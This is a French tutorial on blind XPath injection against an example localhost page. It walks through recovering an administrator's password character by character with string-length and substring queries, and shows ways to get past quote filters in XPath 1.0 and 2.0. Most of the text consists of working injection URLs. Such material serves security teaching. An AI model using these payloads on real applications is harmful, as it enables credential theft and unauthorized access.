**Blind XPATH** Prenons par exemple une liste d'utilisateurs sur notre site Liste d'utilisateurs 1. Admin 2. Toto 3. Vincent 4. Sophie Lorsque nous accédons aux détails du premier utilisateur notre url nous donne : http://localhost/index.php?userid=1 **Exploitation : ** __Détection__ Pour la détection se reporter à l'article sur les injections XPATH. __Trouver la longueur d'un mot de passe__ Pour trouver la longueur du mot de passe de l'administrateur: On va utiliser la fonction string-length en XML. Pour se faire, nous allons concaténer notre requête à la précédente avec l'opérateur "and". http://localhost/index.php?userid=1 and string-length(//user[1]/password)=1 Si la requête nous renvoie une erreur le mot de passe de l'admin ne fait pas 1 caractère. On va incrémenter jusqu'à trouver la bonne valeur. http://localhost/index.php?userid=1 and string-length(//user[1]/password)=2 http://localhost/index.php?userid=1 and string-length(//user[1]/password)=3 http://localhost/index.php?userid=1 and string-length(//user[1]/password)=4 Affichage normal de la page pour password = 4. Notre mot de passe fait donc 4 caractères. __Trouver le mot de passe__ Il existe une fonction substring tel que: substring(user[1]/password,x,n) Elle renvoie la chaîne de longueur n à partir du Xième caractère. Dans notre cas, nous trouvons la première lettre du mot de passe : http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)='a' http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)='b' http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)='c' http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)='d' http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)='e' ... http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)='p' Tant que nous obtenons une erreur xml sur la page c'est que ce n'est pas la bonne lettre. Dans notre cas la lettre p ne nous renvoie pas d'erreurs. Notre mot de passe commence donc par p. Trouvons maintenant les lettres suivantes : http://localhost/index.php?userid=1 and substring(//user[1]/password,2,1)='a' http://localhost/index.php?userid=1 and substring(//user[1]/password,2,1)='b' http://localhost/index.php?userid=1 and substring(//user[1]/password,2,1)='c' http://localhost/index.php?userid=1 and substring(//user[1]/password,2,1)='d' http://localhost/index.php?userid=1 and substring(//user[1]/password,2,1)='e' ... http://localhost/index.php?userid=1 and substring(//user[1]/password,2,1)='A' <=OK Deuxième lettre : A http://localhost/index.php?userid=1 and substring(//user[1]/password,3,1)='a' http://localhost/index.php?userid=1 and substring(//user[1]/password,3,1)='b' http://localhost/index.php?userid=1 and substring(//user[1]/password,3,1)='c' http://localhost/index.php?userid=1 and substring(//user[1]/password,3,1)='d' http://localhost/index.php?userid=1 and substring(//user[1]/password,3,1)='e' ... http://localhost/index.php?userid=1 and substring(//user[1]/password,3,1)='S' <=OK Troisième lettre : S http://localhost/index.php?userid=1 and substring(//user[1]/password,4,1)='a' http://localhost/index.php?userid=1 and substring(//user[1]/password,4,1)='b' http://localhost/index.php?userid=1 and substring(//user[1]/password,4,1)='c' http://localhost/index.php?userid=1 and substring(//user[1]/password,4,1)='d' http://localhost/index.php?userid=1 and substring(//user[1]/password,4,1)='e' ... http://localhost/index.php?userid=1 and substring(//user[1]/password,4,1)='p' Le mot de pass entier : pASS **BYPASS FILTRE** Pour bypasser les filtres, la technique sera différente en XPATH 2.0 et en XPATH 1.0 __En XPATH 2.0 __ Une fonction codepoints-to-string en xml nous permet de convertir un chiffre ascii en lettre: codepoints-to-string(84) renverra 'T' Pour notre exploitation nous ferons donc : http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)=codepoints-to-string(112) sera égal à : http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)='p' Il suffit de faire de même pour obtenir les lettres suivantes __En XPATH 1.0__ La fonction codepoints-to-string n'existe pas donc nous allons réutiliser la fonction substring. Nous allons prendre les informations disponibles sur la page (le nom des comptes utilisateurs) http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)=substring(//user[1]/username,1,1) Cette requête équivaut à : userid=1 and le premier caractère du pass de l'admin = la première lettre du nom d'utilisateur de l'admin. Notre mot de passe administrateur vaudra donc : http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)=substring(//user[4]/username,3,1) <= p http://localhost/index.php?userid=1 and substring(//user[1]/password,2,1)=substring(//user[1]/username,1,1) <= A http://localhost/index.php?userid=1 and substring(//user[1]/password,3,1)=substring(//user[4]/username,1,1) <= S http://localhost/index.php?userid=1 and substring(//user[1]/password,4,1)=substring(//user[4]/username,1,1) <= S